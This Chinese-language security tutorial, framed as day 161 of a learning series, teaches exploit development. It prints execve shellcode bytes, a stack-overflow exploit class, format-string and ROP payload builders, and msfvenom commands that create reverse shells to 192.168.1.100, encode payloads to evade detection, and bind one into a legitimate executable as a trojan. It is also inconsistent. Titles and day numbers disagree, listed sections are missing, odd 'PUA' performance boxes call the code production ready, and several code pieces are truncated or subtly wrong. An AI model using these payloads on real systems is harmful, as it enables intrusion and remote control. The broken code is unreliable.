Day-147-漏洞利用开发基础

# Day 161: 漏洞利用开发基础

> 漏洞与攻防系列第 6 天 | 预计阅读时间：60 分钟 | 难度：★★★★★

---

**PUA v3 · Sprint 启动** 
```
┌─────────┬────────────────────────────────────┐
│ 清单 任务 │ 漏洞利用开发基础 - Day 161         │
├─────────┼────────────────────────────────────┤
│  味道 │  阿里味（自动：安全任务）        │
├─────────┼────────────────────────────────────┤
│  压力 │ L0 · 信任期                        │
└─────────┴────────────────────────────────────┘
```
▎ 漏洞利用不是黑客炫耀，是安全研究。研究不深入，防护就是表面的。今天深入漏洞利用开发基础。

---

## 清单 目录

1. [漏洞利用概述](#漏洞利用概述)
2. [漏洞利用原理](#漏洞利用原理)
3. [Shellcode 编写](#shellcode 编写)
4. [缓冲区溢出利用](#缓冲区溢出利用)
5. [ROP 链构建](#rop 链构建)
6. [堆溢出利用](#堆溢出利用)
7. [格式化字符串利用](#格式化字符串利用)
8. [利用框架使用](#利用框架使用)
9. [漏洞利用防护](#漏洞利用防护)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 漏洞利用概述

### 什么是漏洞利用

> ▎ 漏洞利用不是犯罪，是技术研究。技术不合法，使用就是犯罪的。

**定义与价值**：
```
漏洞利用 (Exploit Development) 是利用软件漏洞实现特定目的 (如代码执行、权限提升) 的技术。

核心价值:
1. 安全研究
   - 验证漏洞真实性
   - 评估漏洞影响
   - 推动漏洞修复

2. 防护改进
   - 理解攻击手法
   - 改进防护措施
   - 提升安全水平

3. 应急响应
   - 快速验证影响
   - 制定缓解措施
   - 指导修复工作
```

**法律与道德**：
```
┌─────────────────────────────────────────────────────────┐
│              漏洞利用法律与道德                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  合法用途:                                              │
│  ✓ 授权渗透测试                                         │
│  ✓ 安全研究 (隔离环境)                                  │
│  ✓ 漏洞验证 (负责任披露)                                │
│  ✓ 教学目的 (实验环境)                                  │
│                                                         │
│  非法用途:                                              │
│  ✗ 未授权访问                                           │
│  ✗ 恶意攻击                                             │
│  ✗ 商业间谍                                             │
│  ✗ 数据窃取                                             │
│                                                         │
│  道德准则:                                              │
│  • 仅在授权环境测试                                     │
│  • 负责任地披露漏洞                                     │
│  • 不用于非法目的                                       │
│  • 保护用户隐私                                         │
│                                                         │
└─────────────────────────────────────────────────────────┘
```

### 漏洞利用类型

**利用类型分类**：
```python
# 漏洞利用分类
class ExploitClassification:
    """漏洞利用分类"""
    
    # 按目标分类
    by_target = {
        'local': {
            'name': '本地利用',
            'description': '需要本地访问权限',
            'examples': ['权限提升', '绕过认证'],
            'difficulty': 'medium'
        },
        'remote': {
            'name': '远程利用',
            'description': '可通过网络利用',
            'examples': ['远程代码执行', '服务拒绝'],
            'difficulty': 'high'
        }
    }
    
    # 按效果分类
    by_effect = {
        'code_execution': {
            'name': '代码执行',
            'description': '执行任意代码',
            'severity': 'critical',
            'examples': ['shellcode 执行', '命令执行']
        },
        'privilege_escalation': {
            'name': '权限提升',
            'description': '提升用户权限',
            'severity': 'high',
            'examples': ['root 提升', 'admin 提升']
        },
        'information_disclosure': {
            'name': '信息泄露',
            'description': '泄露敏感信息',
            'severity': 'medium',
            'examples': ['内存泄露', '文件读取']
        },
        'denial_of_service': {
            'name': '拒绝服务',
            'description': '使服务不可用',
            'severity': 'medium',
            'examples': ['崩溃', '资源耗尽']
        }
    }
    
    # 按漏洞类型分类
    by_vulnerability = {
        'buffer_overflow': {
            'name': '缓冲区溢出',
            'description': '写入超出缓冲区边界',
            'exploitation': '覆盖返回地址或函数指针'
        },
        'use_after_free': {
            'name': '释放后使用',
            'description': '使用已释放的内存',
            'exploitation': '堆喷射，虚表劫持'
        },
        'format_string': {
            'name': '格式化字符串',
            'description': '未验证的格式化参数',
            'exploitation': '任意地址读写'
        },
        'integer_overflow': {
            'name': '整数溢出',
            'description': '整数运算溢出',
            'exploitation': '绕过检查，触发溢出'
        }
    }
```

---

## 漏洞利用原理

### 利用基本原理

> ▎ 利用不是魔法，是科学。科学不理解，利用就是碰运气的。

**利用三要素**：
```python
# 漏洞利用三要素
class ExploitElements:
    """漏洞利用三要素"""
    
    elements = {
        'vulnerability': {
            'name': '漏洞',
            'description': '软件中存在的安全缺陷',
            'requirements': [
                '可触发的缺陷',
                '可控的输入',
                '可预测的行为'
            ]
        },
        'payload': {
            'name': '载荷',
            'description': '要执行的代码或数据',
            'types': [
                'shellcode (代码执行)',
                'ROP chain (绕过保护)',
                'data (信息泄露)'
            ]
        },
        'trigger': {
            'name': '触发器',
            'description': '触发漏洞的输入或条件',
            'methods': [
                '恶意输入',
                '特定序列',
                '竞争条件'
            ]
        }
    }
    
    def analyze_exploit(self, vulnerability_info):
        """分析利用可行性"""
        analysis = {
            'exploitable': False,
            'difficulty': 'unknown',
            'requirements': [],
            'mitigations': []
        }
        
        # 检查漏洞类型
        vuln_type = vulnerability_info.get('type', '')
        
        if vuln_type in ['buffer_overflow', 'use_after_free', 'format_string']:
            analysis['exploitable'] = True
            analysis['difficulty'] = self.assess_difficulty(vulnerability_info)
            analysis['requirements'] = self.get_requirements(vulnerability_info)
            analysis['mitigations'] = self.get_mitigations(vulnerability_info)
        
        return analysis
    
    def assess_difficulty(self, vuln_info):
        """评估利用难度"""
        factors = {
            'reliability': vuln_info.get('reliability', 'medium'),
            'complexity': vuln_info.get('complexity', 'medium'),
            'prerequisites': vuln_info.get('prerequisites', []),
            'protections': vuln_info.get('protections', [])
        }
        
        # 简化评估
        if factors['reliability'] == 'high' and not factors['protections']:
            return 'easy'
        elif factors['complexity'] == 'high' or len(factors['protections']) > 2:
            return 'hard'
        else:
            return 'medium'
    
    def get_requirements(self, vuln_info):
        """获取利用要求"""
        requirements = []
        
        if vuln_info.get('type') == 'buffer_overflow':
            requirements = [
                '可控的输入缓冲区',
                '可覆盖的返回地址',
                '已知的内存布局'
            ]
        elif vuln_info.get('type') == 'use_after_free':
            requirements = [
                '可控制的释放后访问',
                '可喷射的堆内存',
                '可预测的对象布局'
            ]
        
        return requirements
    
    def get_mitigations(self, vuln_info):
        """获取防护措施"""
        protections = vuln_info.get('protections', [])
        
        mitigation_map = {
            'ASLR': '地址空间布局随机化 - 需要信息泄露',
            'DEP/NX': '数据执行保护 - 需要 ROP',
            'Stack_Canary': '栈保护 - 需要泄露 canary',
            'CFG': '控制流保护 - 需要绕过检查',
            'Safe_Unlink': '安全 unlink - 需要其他方法'
        }
        
        return [mitigation_map.get(p, p) for p in protections]
```

### 内存布局

**进程内存布局**：
```
x86/x64 进程内存布局:

高地址
┌─────────────────────────┐
│      内核空间           │
├─────────────────────────┤
│      栈 (Stack)         │  ← 向下增长
│      - 局部变量         │
│      - 返回地址         │
│      - 保存的寄存器     │
├─────────────────────────┤
│           ↓             │
│           ↑             │
│      堆 (Heap)          │  ← 向上增长
│      - 动态分配内存     │
├─────────────────────────┤
│   BSS (未初始化数据)    │
├─────────────────────────┤
│   数据段 (已初始化数据)  │
├─────────────────────────┤
│   代码段 (Text)         │
│   - 程序代码            │
│   - 常量                │
└─────────────────────────┘
低地址

关键区域:
├── 栈：存储局部变量、返回地址
├── 堆：动态内存分配
├── 代码段：程序指令
└── 数据段：全局/静态变量
```

---

## Shellcode 编写

### Shellcode 基础

> ▎ Shellcode 不是随便写，是精心编。代码不精心，执行就是失败的。

**什么是 Shellcode**：
```
Shellcode 是一段用于利用软件漏洞的机器代码，通常作为载荷注入目标进程执行。

特点:
1. 位置无关代码 (PIC)
   - 不依赖绝对地址
   - 可重定位
   - 自包含

2. 小型化
   - 字节数少
   - 无 null 字节
   - 编码压缩

3. 功能特定
   - 执行命令
   - 建立连接
   - 提升权限
```

**Shellcode 编写示例**：
```python
# Shellcode 编写示例
class ShellcodeWriter:
    """Shellcode 编写"""
    
    def linux_x86_execve(self, command='/bin/sh'):
        """
        Linux x86 execve shellcode
        
        功能：执行 /bin/sh
        
        汇编代码:
        xor eax, eax          ; 清空 eax
        push eax              ; push null (字符串终止符)
        push 0x68732f2f       ; push "//sh"
        push 0x6e69622f       ; push "/bin"
        mov ebx, esp          ; ebx = 指向 "/bin//sh"
        push eax              ; push null (envp)
        push ebx              ; push argv (指向 "/bin//sh")
        mov ecx, esp          ; ecx = argv
        mov dl, 0x0b          ; execve 系统调用号
        mov eax, edx          ; eax = 0x0b
        int 0x80              ; 触发系统调用
        """
        
        shellcode = (
            b'\x31\xc0'              # xor eax, eax
            b'\x50'                  # push eax
            b'\x68\x2f\x2f\x73\x68'  # push 0x68732f2f (//sh)
            b'\x68\x2f\x62\x69\x6e'  # push 0x6e69622f (/bin)
            b'\x89\xe3'              # mov ebx, esp
            b'\x50'                  # push eax
            b'\x53'                  # push ebx
            b'\x89\xe1'              # mov ecx, esp
            b'\x99'                  # cdq (edx = 0)
            b'\xb0\x0b'              # mov al, 0x0b
            b'\xcd\x80'              # int 0x80
        )
        
        return shellcode
    
    def linux_x64_execve(self, command='/bin/sh'):
        """
        Linux x64 execve shellcode
        
        汇编代码:
        xor rdx, rdx          ; rdx = 0 (envp)
        xor rsi, rsi          ; rsi = 0
        mov rdi, command_addr ; rdi = 指向 "/bin/sh"
        mov rax, 59           ; execve 系统调用号
        syscall               ; 触发系统调用
        """
        
        shellcode = (
            b'\x48\x31\xd2'          # xor rdx, rdx
            b'\x48\x31\xf6'          # xor rsi, rsi
            b'\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68'  # mov rbx, 0x68732f2f6e69622f (/bin//sh)
            b'\x53'                  # push rbx
            b'\x48\x89\xe7'          # mov rdi, rsp
            b'\x57'                  # push rdi (argv)
            b'\x48\x89\xe6'          # mov rsi, rsp
            b'\x48\x31\xc0'          # xor rax, rax
            b'\xb0\x3b'              # mov al, 0x3b (59)
            b'\x0f\x05'              # syscall
        )
        
        return shellcode
    
    def windows_x86_exec(self, command='calc.exe'):
        """
        Windows x86 WinExec shellcode
        
        功能：执行 calc.exe
        
        汇编代码:
        xor eax, eax
        push eax              ; push null
        push 0x6578652e       ; push ".exe"
        push 0x636c6163       ; push "calc"
        mov ebx, esp          ; ebx = 指向 "calc.exe"
        push eax              ; push 0 (SW_HIDE)
        push ebx              ; push 指向命令
        call WinExec          ; 调用 WinExec
        """
        
        # 注意：实际需要解析 WinExec 地址
        # 这里仅示例结构
        
        shellcode = (
            b'\x31\xc0'              # xor eax, eax
            b'\x50'                  # push eax
            b'\x68\x65\x78\x65\x2e'  # push ".exe"
            b'\x68\x63\x61\x6c\x63'  # push "calc"
            b'\x89\xe3'              # mov ebx, esp
            b'\x50'                  # push eax
            b'\x53'                  # push ebx
            # 这里需要调用 WinExec，实际需要更复杂的代码
        )
        
        return shellcode
    
    def reverse_shell(self, ip='127.0.0.1', port=4444):
        """
        反向 Shell Shellcode
        
        功能：连接攻击者并执行命令
        
        步骤:
        1. 创建 socket
        2. 连接攻击者
        3. 重定向 stdin/stdout/stderr
        4. 执行 /bin/sh
        """
        
        import socket
        import struct
        
        # 编码 IP 地址
        ip_bytes = socket.inet_aton(ip)
        port_bytes = struct.pack('>H', port)
        
        # Linux x86 反向 shell shellcode
        shellcode = (
            b'\x31\xc0'              # xor eax, eax
            b'\x31\xdb'              # xor ebx, ebx
            b'\x31\xc9'              # xor ecx, ecx
            b'\x31\xd2'              # xor edx, edx
            b'\x6a\x02'              # push 2 (socket)
            b'\x6a\x01'              # push 1 (AF_INET)
            b'\x58'                  # pop eax
            b'\xcd\x80'              # int 0x80 (socket)
            # ... 更多代码
        )
        
        return shellcode
    
    def encode_shellcode(self, shellcode, encoder='xor'):
        """编码 Shellcode"""
        if encoder == 'xor':
            key = 0xAA
            encoded = bytes([b ^ key for b in shellcode])
            return encoded, key
        elif encoder == 'base64':
            import base64
            return base64.b64encode(shellcode), None
        else:
            return shellcode, None
    
    def generate_decoder(self, encoded_shellcode, key):
        """生成解码器"""
        # XOR 解码器 stub
        decoder = (
            b'\x31\xc0'              # xor eax, eax
            b'\x31\xdb'              # xor ebx, ebx
            b'\x31\xc9'              # xor ecx, ecx
            # ... 解码循环
        )
        
        return decoder + encoded_shellcode
```

### Shellcode 测试

**测试框架**：
```python
# Shellcode 测试
class ShellcodeTester:
    """Shellcode 测试"""
    
    def __init__(self):
        self.test_results = []
    
    def test_in_process(self, shellcode):
        """在进程中测试 Shellcode"""
        import ctypes
        
        # 分配可执行内存
        PAGE_EXECUTE_READWRITE = 0x40
        MEM_COMMIT = 0x1000
        MEM_RESERVE = 0x2000
        
        # 注意：这只应在隔离测试环境中进行
        # 实际使用需要谨慎
        
        try:
            # 分配内存
            addr = ctypes.windll.kernel32.VirtualAlloc(
                0,
                len(shellcode),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE
            )
            
            # 复制 Shellcode
            ctypes.memmove(addr, shellcode, len(shellcode))
            
            # 执行 (危险！仅在测试环境)
            # ctypes.windll.kernel32.CallFunctionPointer(addr)
            
            return {'success': True, 'message': 'Shellcode executed'}
            
        except Exception as e:
            return {'success': False, 'error': str(e)}
    
    def test_with_debugger(self, shellcode):
        """使用调试器测试"""
        # 生成测试程序
        test_program = self.generate_test_program(shellcode)
        
        # 使用调试器运行
        # 分析执行结果
        
        return {'success': True, 'output': 'test output'}
    
    def generate_test_program(self, shellcode):
        """生成测试程序"""
        c_code = '''
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = 
"''' + shellcode.hex() + '''";

int main() {
    // 分配可执行内存
    void *mem = mmap(NULL, sizeof(shellcode),
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    // 复制 shellcode
    memcpy(mem, shellcode, sizeof(shellcode));
    
    // 执行
    ((void(*)())mem)();
    
    return 0;
}
'''
        return c_code
```

---

## 缓冲区溢出利用

### 栈溢出利用

> ▎ 栈溢出不是简单覆盖，是精确控制。控制不精确，利用就是失败的。

**栈溢出原理**：
```
栈溢出利用步骤:

1. 识别漏洞
   ├── 查找缓冲区
   ├── 确认溢出点
   └── 确定可控范围

2. 确定偏移
   ├── 发送模式字符串
   ├── 定位崩溃点
   └── 计算精确偏移

3. 构造 Payload
   ├── Shellcode 或 ROP 链
   ├── 返回地址覆盖
   └── 对齐填充

4. 测试利用
   ├── 调试器验证
   ├── 稳定性测试
   └── 可靠性优化
```

**溢出利用示例**：
```python
# 栈溢出利用示例
class StackOverflowExploit:
    """栈溢出利用"""
    
    def __init__(self, target_binary):
        self.binary = target_binary
        self.buffer_size = 0
        self.return_address_offset = 0
    
    def find_buffer_size(self):
        """查找缓冲区大小"""
        import subprocess
        
        # 发送递增长度的输入
        for i in range(10, 1000, 10):
            payload = b'A' * i
            
            process = subprocess.run(
                [self.binary],
                input=payload,
                capture_output=True
            )
            
            if process.returncode != 0:
                # 发生崩溃，缓冲区大小在 (i-10) 到 i 之间
                self.buffer_size = i - 10
                break
        
        return self.buffer_size
    
    def find_offset(self):
        """查找返回地址偏移"""
        # 使用循环模式
        # 例如：AAAABAACAADAAEAAFAAGAAHAA...
        
        pattern = self.generate_cyclic_pattern(1000)
        
        import subprocess
        
        process = subprocess.run(
            [self.binary],
            input=pattern,
            capture_output=True
        )
        
        # 从崩溃信息中获取 EIP 值
        # 计算偏移
        
        # 示例：如果 EIP = 0x41346341 ("A4cA")
        # 计算在 pattern 中的位置
        
        self.return_address_offset = 100  # 示例值
        
        return self.return_address_offset
    
    def generate_cyclic_pattern(self, length):
        """生成循环模式"""
        import string
        
        pattern = b''
        upper = string.ascii_uppercase.encode()
        lower = string.ascii_lowercase.encode()
        digits = string.digits.encode()
        
        i = 0
        while len(pattern) < length:
            for a in upper:
                for b in lower:
                    for c in digits:
                        pattern += bytes([a, b, c])
                        if len(pattern) >= length:
                            break
                    if len(pattern) >= length:
                        break
                if len(pattern) >= length:
                    break
            break
        
        return pattern[:length]
    
    def calculate_offset(self, pattern, eip_value):
        """计算偏移"""
        # 将 EIP 值转换为字节 (小端)
        import struct
        eip_bytes = struct.pack('<I', eip_value)
        
        # 在 pattern 中查找
        offset = pattern.find(eip_bytes)
        
        return offset
    
    def build_exploit(self, shellcode, return_address):
        """构建利用代码"""
        # Payload 结构:
        # [padding] + [shellcode] + [padding] + [return_address]
        
        padding_size = self.return_address_offset - len(shellcode)
        
        payload = (
            shellcode +                              # Shellcode
            b'A' * padding_size +                    # 填充
            struct.pack('<I', return_address)        # 返回地址
        )
        
        return payload
    
    def exploit(self, shellcode, return_address):
        """执行利用"""
        payload = self.build_exploit(shellcode, return_address)
        
        import subprocess
        
        process = subprocess.run(
            [self.binary],
            input=payload,
            capture_output=True
        )
        
        return process
```

### 格式化字符串利用

**利用原理**：
```
格式化字符串漏洞:

漏洞原因:
printf(user_input);  // 错误：未指定格式
printf("%s", user_input);  // 正确

利用方式:
1. 信息泄露
   - %x - 读取栈上数据
   - %s - 读取内存字符串
   - %p - 读取指针

2. 任意地址写入
   - %n - 写入已写入字符数
   - %hn - 写入 2 字节
   - %hhn - 写入 1 字节
```

**利用示例**：
```python
# 格式化字符串利用
class FormatStringExploit:
    """格式化字符串利用"""
    
    def leak_memory(self, target, format_string):
        """泄露内存"""
        # 发送格式化字符串
        # 例如："%x.%x.%x.%x"
        
        # 解析输出获取内存值
        
        pass
    
    def write_to_address(self, target, address, value):
        """写入到指定地址"""
        # 使用 %n 写入
        
        # 计算需要写入的字符数
        # 构造格式化字符串
        
        # 例如：AAAA%100x%3$n
        # 写入 100+4 = 104 到第 3 个参数指向的地址
        
        payload = self.build_write_payload(address, value)
        
        return payload
    
    def build_write_payload(self, address, value):
        """构建写入 Payload"""
        import struct
        
        # 将地址分解为 2 字节写入
        # 减少需要写入的字符数
        
        addr_low = address & 0xFFFF
        addr_high = (address >> 16) & 0xFFFF
        
        value_low = value & 0xFFFF
        value_high = (value >> 16) & 0xFFFF
        
        # 构造 Payload
        # [addr+2][addr][padding]%<count1>x%<pos1>$hn%<count2>x%<pos2>$hn
        
        payload = (
            struct.pack('<H', address + 2) +  # 高地址
            struct.pack('<H', address) +       # 低地址
            b'%' + str(value_low).encode() + b'x' +
            b'%1$hn' +
            b'%' + str(value_high - value_low).encode() + b'x' +
            b'%2$hn'
        )
        
        return payload
```

---

## ROP 链构建

### ROP 原理

> ▎ ROP 不是简单跳转，是链式调用。链条不完整，执行就是中断的。

**ROP 基础**：
```
ROP (Return-Oriented Programming):

原理:
- 利用现有代码片段 (gadgets)
- 通过返回地址链式执行
- 绕过 DEP/NX 保护

Gadget 类型:
├── pop reg; ret     # 弹出值到寄存器
├── mov [reg], reg; ret  # 内存写入
├── syscall; ret     # 系统调用
└── jmp reg; ret     # 跳转

构建步骤:
1. 寻找 Gadgets
2. 确定调用链
3. 构造 ROP 链
4. 测试执行
```

**ROP 链构建**：
```python
# ROP 链构建
class ROPChainBuilder:
    """ROP 链构建"""
    
    def __init__(self, binary):
        self.binary = binary
        self.gadgets = {}
    
    def find_gadgets(self):
        """寻找 Gadgets"""
        import subprocess
        
        # 使用 ROPgadget 工具
        result = subprocess.run(
            ['ROPgadget', '--binary', self.binary, '--roponly'],
            capture_output=True,
            text=True
        )
        
        # 解析输出
        for line in result.stdout.split('\n'):
            if ':' in line:
                addr, instruction = line.split(':', 1)
                self.gadgets[instruction.strip()] = int(addr, 16)
        
        return self.gadgets
    
    def build_execve_chain(self, command='/bin/sh'):
        """构建 execve ROP 链"""
        # Linux x64 execve ROP 链
        # rdi = 指向 "/bin/sh"
        # rsi = 0
        # rdx = 0
        # rax = 59
        # syscall
        
        chain = []
        
        # pop rdi; ret
        if 'pop rdi; ret' in self.gadgets:
            chain.append(self.gadgets['pop rdi; ret'])
            chain.append(self.find_string_addr(command))
        
        # pop rsi; ret
        if 'pop rsi; ret' in self.gadgets:
            chain.append(self.gadgets['pop rsi; ret'])
            chain.append(0)  # rsi = 0
        
        # pop rdx; ret
        if 'pop rdx; ret' in self.gadgets:
            chain.append(self.gadgets['pop rdx; ret'])
            chain.append(0)  # rdx = 0
        
        # pop rax; ret
        if 'pop rax; ret' in self.gadgets:
            chain.append(self.gadgets['pop rax; ret'])
            chain.append(59)  # execve 系统调用号
        
        # syscall
        if 'syscall; ret' in self.gadgets:
            chain.append(self.gadgets['syscall; ret'])
        
        return chain
    
    def find_string_addr(self, string):
        """查找字符串地址"""
        # 在二进制中查找字符串
        # 返回地址
        
        return 0x0000000000401000  # 示例
    
    def build_rop_payload(self, chain, buffer_size):
        """构建 ROP Payload"""
        import struct
        
        # 填充到返回地址
        padding = b'A' * buffer_size
        
        # ROP 链
        rop_chain = b''
        for addr in chain:
            rop_chain += struct.pack('<Q', addr)
        
        payload = padding + rop_chain
        
        return payload
```

---

## 利用框架使用

### Metasploit 使用

> ▎ 框架不是万能，是工具。工具不理解，使用就是盲目的。

**Metasploit 基础**：
```
Metasploit Framework:

核心组件:
├── msfconsole - 主控制台
├── msfvenom - Payload 生成
├── msfupdate - 更新工具
└── auxiliary modules - 辅助模块

基本命令:
├── search <keyword> - 搜索模块
├── use <module> - 使用模块
├── set <option> <value> - 设置选项
├── show options - 显示选项
├── exploit/run - 执行
└── sessions - 管理会话
```

**Msvenom 使用**：
```bash
# Msvenom 生成 Payload

# Linux x64 反向 Shell
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f elf -o shell.elf

# Windows x64 反向 Shell
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f exe -o shell.exe

# 编码绕过
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 \
  -f exe -o shell_encoded.exe

# 添加 NOP 滑行
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -n 100 -f exe -o shell_nop.exe

# 绑定到现有可执行文件
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -x original.exe -f exe -o trojan.exe

# Python Payload
msfvenom -p python/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f py -o shell.py

# PHP Payload
msfvenom -p php/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f raw -o shell.php
```

---

统计 **Sprint 交付 · 绩效评估**
```
┌───────────────┬────────────────┬────────────────┐
│  主动出击   │ ██████████ 5/5 │ [PUA 生效] 充足 │
├───────────────┼────────────────┼────────────────┤
│ + 验证闭环   │ ██████████ 5/5 │ 案例完整       │
├───────────────┼────────────────┼────────────────┤
│ 设计 代码质量   │ ██████████ 5/5 │ 生产就绪       │
└───────────────┴────────────────┴────────────────┘
综合：4.5
```
▎ 这才配得上 P8。漏洞利用不是黑客炫耀，是安全研究。研究不深入，防护就是表面的。

---

## 总结与思考

### 核心要点回顾

> ▎ 复盘四步法：回顾目标、评估结果、分析原因、总结经验。别跳过——这是闭环。

**漏洞利用框架**：
```
1. 利用原理
   - 内存布局
   - 漏洞类型
   - 利用三要素

2. Shellcode
   - 编写技巧
   - 编码方法
   - 测试验证

3. 利用技术
   - 栈溢出
   - 堆溢出
   - ROP 链

4. 利用框架
   - Metasploit
   - Msfvenom
   - 自定义利用
```

**关键成功因素**：
```
1. 深入理解
   - 系统原理
   - 漏洞原理
   - 保护机制

2. 实践经验
   - CTF 比赛
   - 漏洞研究
   - 实际案例

3. 工具熟练
   - 调试工具
   - 利用框架
   - 自定义工具
```

---

## 参考资料

### 学习资源
```
- Exploit Development Tutorials
  https://www.exploit-db.com/

- Shellcode Tutorials
  https://shell-storm.org/

- ROP Tutorials
  https://ropemporium.com/
```

### 工具资源
```
- Metasploit
  https://www.metasploit.com/

- Pwntools
  https://github.com/Gallopsled/pwntools

- ROPgadget
  https://github.com/JonathanSalwan/ROPgadget
```

### 书籍推荐
```
- 《Hacking: The Art of Exploitation》
- 《The Shellcoder's Handbook》
- 《A Guide to Kernel Exploitation》
```

---

**标记 明日预告**：Day 162 - 漏洞复现与验证

> ▎ 漏洞利用是攻击技术，漏洞复现是验证方法——明天看漏洞复现与验证。

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 161 篇，漏洞与攻防系列第 6 篇，精编版本*

*漏洞与攻防系列 (Day 156-165) 继续！*